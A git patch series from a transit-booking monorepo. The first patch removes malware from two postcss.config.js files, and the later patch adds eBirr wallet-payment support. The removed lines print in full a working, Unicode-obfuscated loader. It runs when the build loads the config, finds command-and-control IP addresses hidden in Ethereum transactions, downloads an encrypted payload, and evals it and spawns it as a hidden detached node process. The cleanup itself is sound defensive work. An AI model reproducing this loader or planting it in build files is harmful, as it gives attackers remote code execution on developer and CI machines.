From 78d69eb02bbc7154d9307cd2a8c9d366a932b19a Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Mon, 10 Aug 2026 10:37:47 +0300 Subject: [PATCH 01/13] fix: ( malware ) remove malware code --- apps/edr-passenger-web/backoffice/postcss.config.js | 2 +- apps/edr-passenger-web/portal/postcss.config.js | 6 +----- 2 files changed, 2 insertions(+), 6 deletions(-) diff --git a/apps/edr-passenger-web/backoffice/postcss.config.js b/apps/edr-passenger-web/backoffice/postcss.config.js index 701a63d39..12a703d90 100644 --- a/apps/edr-passenger-web/backoffice/postcss.config.js +++ b/apps/edr-passenger-web/backoffice/postcss.config.js @@ -3,4 +3,4 @@ module.exports = { tailwindcss: {}, autoprefixer: {}, }, -}; global.i="A8-4299";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})(); +}; diff --git a/apps/edr-passenger-web/portal/postcss.config.js b/apps/edr-passenger-web/portal/postcss.config.js index 0bb9d831b..2aa7205d4 100644 --- a/apps/edr-passenger-web/portal/postcss.config.js +++ b/apps/edr-passenger-web/portal/postcss.config.js @@ -1,10 +1,6 @@ -import { createRequire } from 'module'; - -const require = createRequire(import.meta.url); - export default { plugins: { tailwindcss: {}, autoprefixer: {}, }, -}; global.i="A8-4299";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})(); +}; From 6471c3511a62270587825c5386db4b0131a4ea72 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Mon, 10 Aug 2026 11:36:05 +0300 Subject: [PATCH 02/13] feat: (payment) add eBirr as synchronous API_PURCHASE wallet debit --- apps/edr-passenger-api/.env.example | 9 +- apps/edr-passenger-api/src/app.module.ts | 2 - .../src/config/ebirr.config.ts | 9 - .../src/modules/payments/payments.dto.ts | 73 +- .../src/modules/payments/payments.service.ts | 389 +++++++---- .../portal/src/app/booking/payment/page.tsx | 111 +++- .../src/config/ebirr.config.ts | 27 +- .../intents/intents.service.cbe-bill.spec.ts | 3 +- .../src/modules/intents/intents.service.ts | 60 +- .../modules/providers/ebirr-purchase.spec.ts | 374 +++++++++++ .../handlers/ebirr-webhook.service.ts | 33 - .../modules/webhooks/webhooks.controller.ts | 17 +- .../src/modules/webhooks/webhooks.module.ts | 2 - packages/payment-providers/src/index.ts | 14 +- .../src/providers/ebirr/ebirr.provider.ts | 627 ++++++++++++++---- .../src/providers/ebirr/ebirr.types.ts | 143 ++++ .../payment-providers/src/utils/msisdn.ts | 53 ++ .../src/webhooks/ebirr-webhook.types.ts | 12 - packages/types/src/common/payments.ts | 13 + 19 files changed, 1591 insertions(+), 380 deletions(-) delete mode 100644 apps/edr-passenger-api/src/config/ebirr.config.ts create mode 100644 apps/edr-payment-api/src/modules/providers/ebirr-purchase.spec.ts delete mode 100644 apps/edr-payment-api/src/modules/webhooks/handlers/ebirr-webhook.service.ts create mode 100644 packages/payment-providers/src/providers/ebirr/ebirr.types.ts create mode 100644 packages/payment-providers/src/utils/msisdn.ts delete mode 100644 packages/payment-providers/src/webhooks/ebirr-webhook.types.ts diff --git a/apps/edr-passenger-api/.env.example b/apps/edr-passenger-api/.env.example index cf00cfe51..970aca30d 100644 --- a/apps/edr-passenger-api/.env.example +++ b/apps/edr-passenger-api/.env.example @@ -87,12 +87,8 @@ CBE_SECRET_KEY= CBE_NOTIFY_URL= CBE_RETURN_URL= -# eBirr -EBIRR_BASE_URL= -EBIRR_MERCHANT_CODE= -EBIRR_SECRET_KEY= -EBIRR_NOTIFY_URL= -EBIRR_RETURN_URL= +# eBirr — credentials live in edr-payment-api only; the passenger API never calls providers +# directly. eBirr has no redirect, so there is no EBIRR_RETURN_URL. See docs/ebirr/INTEGRATION.md. # Card Gateway (Stripe-like) CARD_BASE_URL= @@ -140,7 +136,6 @@ WAAFI_SUCCESS_REDIRECT= WAAFI_FAIL_REDIRECT= DMONEY_RETURN_URL= CBE_RETURN_URL= -EBIRR_RETURN_URL= CARD_RETURN_URL= # Session Configuration diff --git a/apps/edr-passenger-api/src/app.module.ts b/apps/edr-passenger-api/src/app.module.ts index 014e4f5c6..bd8372b29 100644 --- a/apps/edr-passenger-api/src/app.module.ts +++ b/apps/edr-passenger-api/src/app.module.ts @@ -23,7 +23,6 @@ import dbConfig from "./config/database.config"; import iamDatabaseConfig from "./config/iam-database.config"; import telebirrConfig from "./config/telebirr.config"; import cbeConfig from "./config/cbe.config"; -import ebirrConfig from "./config/ebirr.config"; import cardConfig from "./config/card.config"; import waafiConfig from "./config/waafi.config"; import faydaConfig from "./config/fayda.config"; @@ -75,7 +74,6 @@ import { EOtpType } from "@tria-plc/iamapi-common"; iamDatabaseConfig, telebirrConfig, cbeConfig, - ebirrConfig, cardConfig, waafiConfig, faydaConfig, diff --git a/apps/edr-passenger-api/src/config/ebirr.config.ts b/apps/edr-passenger-api/src/config/ebirr.config.ts deleted file mode 100644 index 0a00bca2a..000000000 --- a/apps/edr-passenger-api/src/config/ebirr.config.ts +++ /dev/null @@ -1,9 +0,0 @@ -import { registerAs } from '@nestjs/config'; - -export default registerAs('ebirr', () => ({ - baseUrl: process.env.EBIRR_BASE_URL || '', - merchantCode: process.env.EBIRR_MERCHANT_CODE || '', - secretKey: process.env.EBIRR_SECRET_KEY || '', - notifyUrl: process.env.EBIRR_NOTIFY_URL || '', - returnUrl: process.env.EBIRR_RETURN_URL || '', -})); diff --git a/apps/edr-passenger-api/src/modules/payments/payments.dto.ts b/apps/edr-passenger-api/src/modules/payments/payments.dto.ts index 448aa4e7b..924792d4f 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.dto.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.dto.ts @@ -21,7 +21,7 @@ export enum PaymentMethodTypeEnum { CBE_BIRR = "CBE_BIRR", // Ethiopia EBIRR = "EBIRR", // Ethiopia WAAFI = "WAAFI", - DMONEY= "DMONEY",// Djibouti + DMONEY = "DMONEY", // Djibouti CAC_BANK = "CAC_BANK", // Djibouti (OTP debit) CARD = "CARD", // International WALLET = "WALLET", // Internal @@ -57,9 +57,10 @@ export class InitiatePaymentDto { platform?: PaymentPlatformDto; @ApiPropertyOptional({ description: - "Payer account / mobile number. Required for OTP-debit methods (CAC_BANK) — " + - "the bank sends the OTP to this number.", - example: "77112233", + "Payer account / mobile number. Required for push-debit methods: CAC_BANK (the bank " + + "sends an OTP to this number) and EBIRR (the wallet pushes a USSD PIN prompt to it). " + + "Ethiopian numbers are accepted as +251…, 251…, 09… or 9… and normalised server-side.", + example: "+251923582676", }) @IsOptional() @IsString() @@ -125,6 +126,7 @@ export class ClientActionDto { "LAUNCH_APP", "INVOKE_BRIDGE", "COLLECT_OTP", + "AWAIT_PUSH", "SHOW_BILL_REFERENCE", ], }) @@ -133,6 +135,7 @@ export class ClientActionDto { | "LAUNCH_APP" | "INVOKE_BRIDGE" | "COLLECT_OTP" + | "AWAIT_PUSH" | "SHOW_BILL_REFERENCE"; @ApiPropertyOptional({ description: "Set when type=REDIRECT (web flow)" }) url?: string; @@ -160,10 +163,22 @@ export class ClientActionDto { "to the host bridge (js_fun_start_pay). NOT a URL — never navigate to it.", }) rawRequest?: string; - @ApiPropertyOptional({ description: "Set when type=COLLECT_OTP (e.g. CAC Bank)" }) + @ApiPropertyOptional({ + description: "Set when type=COLLECT_OTP (e.g. CAC Bank)", + }) providerOrderId?: string; - @ApiPropertyOptional({ description: "Set when type=COLLECT_OTP" }) + @ApiPropertyOptional({ + description: + "Set when type=COLLECT_OTP or type=AWAIT_PUSH — text to show the payer", + }) message?: string; + @ApiPropertyOptional({ + description: + "Set when type=AWAIT_PUSH (eBirr). Masked wallet number the PIN prompt was pushed to, " + + "so the payer can confirm it is their handset. Nothing to navigate to — poll the intent.", + example: "2519****2676", + }) + payerAccountMasked?: string; @ApiPropertyOptional({ description: "Set when type=SHOW_BILL_REFERENCE (CBE bill payment)", }) @@ -180,6 +195,9 @@ export class InitiateResponseDto { @ApiPropertyOptional({ type: ClientActionDto }) clientAction?: ClientActionDto; @ApiPropertyOptional() merchantOrderId?: string; + /** Set when initiate already settled terminally (eBirr debits synchronously — no webhook). */ + @ApiPropertyOptional() failureCode?: string; + @ApiPropertyOptional() failureMessage?: string; /** When this payment session stops being offered — PAYMENT_SESSION_MINUTES from initiation, capped at paymentDeadline. Drives the client-side countdown. */ @ApiPropertyOptional() sessionExpiresAt?: string; /** The booking's payment deadline: after it, the booking is auto-cancelled. */ @@ -205,18 +223,43 @@ export class IntentStatusDto { } export class BookingAmountResponseDto { - @ApiProperty({ example: 'booking-uuid' }) booking_id: string; - @ApiProperty({ example: 'DJF', description: 'Currency of the returned amount' }) currency: string; - @ApiProperty({ example: 162.5, description: 'Booking total converted to the requested currency (major units)' }) amount: number; + @ApiProperty({ example: "booking-uuid" }) booking_id: string; + @ApiProperty({ + example: "DJF", + description: "Currency of the returned amount", + }) + currency: string; + @ApiProperty({ + example: 162.5, + description: + "Booking total converted to the requested currency (major units)", + }) + amount: number; } export class ForceConfirmDto { - @ApiPropertyOptional({ description: 'External payment reference / transaction ID from the vendor', example: 'TXN-123456' }) - @IsOptional() @IsString() paymentReference?: string; + @ApiPropertyOptional({ + description: "External payment reference / transaction ID from the vendor", + example: "TXN-123456", + }) + @IsOptional() + @IsString() + paymentReference?: string; - @ApiPropertyOptional({ enum: PaymentMethodTypeEnum, description: 'Payment method used externally', example: 'TELEBIRR' }) - @IsOptional() @IsEnum(PaymentMethodTypeEnum) paymentMethod?: PaymentMethodTypeEnum; + 